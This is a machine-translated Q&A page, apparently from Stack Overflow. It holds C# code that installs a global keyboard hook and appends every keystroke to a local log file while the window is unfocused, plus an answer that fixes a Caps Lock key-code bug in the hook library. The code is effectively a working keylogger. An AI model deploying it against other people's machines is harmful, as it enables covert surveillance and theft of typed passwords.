C# KeyEventArgs выдает неправильные результаты, когда заглавные буквы включены

Я использую глобальные клавиатурные хуки как слушатель клавиатуры, когда окно не в фокусе. Я на полпути через некоторый код, и я понимаю, что по любой причине установка заглавных букв изменяет вывод KeyEventArgs, Использование сдвига / без сдвига выводит обычные результаты, но если бы я должен был установить заглавные буквы, A станет U, B станет V, C станет W и т.д. Вот посмотрите на код, который делает это (добавит глобальные хуки клавиатуры при необходимости):

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using Utilities;

namespace WindowsFormsApplication1
{
public partial class Form6 : Form
{
    globalKeyboardHook gkh = new globalKeyboardHook();

    int sign_Indicator = 0;
    double variable1;
    double variable2;
    int addBit = 0;
    int subBit = 0;
    int multBit = 0;
    int divBit = 0;
    int modBit = 0;
    Boolean fl = false;
    String s, x;
    public Form6()
    {
        InitializeComponent();
    }

    private void Form6_Load(object sender, EventArgs e)
    {
        gkh.HookedKeys.Add(Keys.A);
        gkh.HookedKeys.Add(Keys.B);
        gkh.HookedKeys.Add(Keys.C);
        gkh.HookedKeys.Add(Keys.D);
        gkh.HookedKeys.Add(Keys.E);
        gkh.HookedKeys.Add(Keys.F);
        gkh.HookedKeys.Add(Keys.G);
        gkh.HookedKeys.Add(Keys.H);
        gkh.HookedKeys.Add(Keys.I);
        gkh.HookedKeys.Add(Keys.J);
        gkh.HookedKeys.Add(Keys.K);
        gkh.HookedKeys.Add(Keys.L);
        gkh.HookedKeys.Add(Keys.M);
        gkh.HookedKeys.Add(Keys.N);
        gkh.HookedKeys.Add(Keys.O);
        gkh.HookedKeys.Add(Keys.P);
        gkh.HookedKeys.Add(Keys.Q);
        gkh.HookedKeys.Add(Keys.R);
        gkh.HookedKeys.Add(Keys.S);
        gkh.HookedKeys.Add(Keys.T);
        gkh.HookedKeys.Add(Keys.U);
        gkh.HookedKeys.Add(Keys.V);
        gkh.HookedKeys.Add(Keys.W);
        gkh.HookedKeys.Add(Keys.X);
        gkh.HookedKeys.Add(Keys.Y);
        gkh.HookedKeys.Add(Keys.Z);
        gkh.HookedKeys.Add(Keys.D1);
        gkh.HookedKeys.Add(Keys.D2);
        gkh.HookedKeys.Add(Keys.D3);
        gkh.HookedKeys.Add(Keys.D4);
        gkh.HookedKeys.Add(Keys.D5);
        gkh.HookedKeys.Add(Keys.D6);
        gkh.HookedKeys.Add(Keys.D7);
        gkh.HookedKeys.Add(Keys.D8);
        gkh.HookedKeys.Add(Keys.D9);
        gkh.HookedKeys.Add(Keys.D0);
        gkh.HookedKeys.Add(Keys.Return);
        gkh.HookedKeys.Add(Keys.Shift);
        gkh.HookedKeys.Add(Keys.CapsLock);
        gkh.HookedKeys.Add(Keys.Back);
        gkh.HookedKeys.Add(Keys.Escape);
        gkh.HookedKeys.Add(Keys.Space);
        gkh.HookedKeys.Add(Keys.OemPeriod);
        gkh.HookedKeys.Add(Keys.Oemcomma);
        gkh.HookedKeys.Add(Keys.OemMinus);
        gkh.HookedKeys.Add(Keys.Oemplus);
        gkh.HookedKeys.Add(Keys.OemPipe);
        gkh.HookedKeys.Add(Keys.OemBackslash);
        gkh.HookedKeys.Add(Keys.OemOpenBrackets);
        gkh.HookedKeys.Add(Keys.OemCloseBrackets);
        gkh.HookedKeys.Add(Keys.OemQuotes);
        gkh.HookedKeys.Add(Keys.OemSemicolon);
        gkh.HookedKeys.Add(Keys.Oemtilde);

        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
    }

    public static string location = "C:\\Users\\Hayden\\Desktop\\log.txt";

    void gkh_KeyDown(object sender, KeyEventArgs e)
    {
        if (e.Modifiers == Keys.Shift)
        {
            if (e.KeyCode == Keys.OemPipe)
            {
                System.IO.File.AppendAllText(@location, "|");
            }
            else
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
            }
        }
        else
        {
            if (e.KeyCode == Keys.Return)
            {
                System.IO.File.AppendAllText(@location, "[RETURN]");
            }
            else if (e.KeyCode == Keys.Back)
            {
                System.IO.File.AppendAllText(@location, "[BACKSPACE]");
            }
            else if (e.KeyCode == Keys.Space)
            {
                System.IO.File.AppendAllText(@location, " ");
            }
            else if (e.KeyCode == Keys.OemPeriod)
            {
                System.IO.File.AppendAllText(@location, ".");
            }
            else if (e.KeyCode == Keys.Oemcomma)
            {
                System.IO.File.AppendAllText(@location, ",");
            }
            else if (e.KeyCode == Keys.OemPipe)
            {
                System.IO.File.AppendAllText(@location, "\\");
            }
            else if (e.KeyCode == Keys.CapsLock)
            {
                System.IO.File.AppendAllText(@location, "");
            }
            else if (Control.IsKeyLocked(Keys.CapsLock))
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString());
            }
            else
            {
                System.IO.File.AppendAllText(@location, e.KeyCode.ToString().ToLower());
            }
        }
    }

Как я могу это исправить? Я понятия не имею, почему это полностью меняет букву только потому, что я включил заглавные буквы. Shift работает отлично, хотя.

1 ответ

Решение

globalKeyboardHook класс, на который вы ссылаетесь, имеет AddModifiers(Keys key) метод с этой строкой:

if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0) key = key | Keys.CapsLock;

Этот код проверяет, включен ли Cap Cap, и если да, то ИЛИ key переменная, которая позже возвращается методом.

Проблема в том, что Caps Lock не является ключом-модификатором и не должен манипулировать таким образом. Это причина, по которой вы видите странные значения ключей, которые вы видите, когда Caps Lock включен.

Кстати, только клавиши Control, Shift и Alt являются клавишами-модификаторами и AddModifiers() обрабатывает это.

Если вы удалите эту строку, я верю, что все будет в порядке.

Другие вопросы по тегам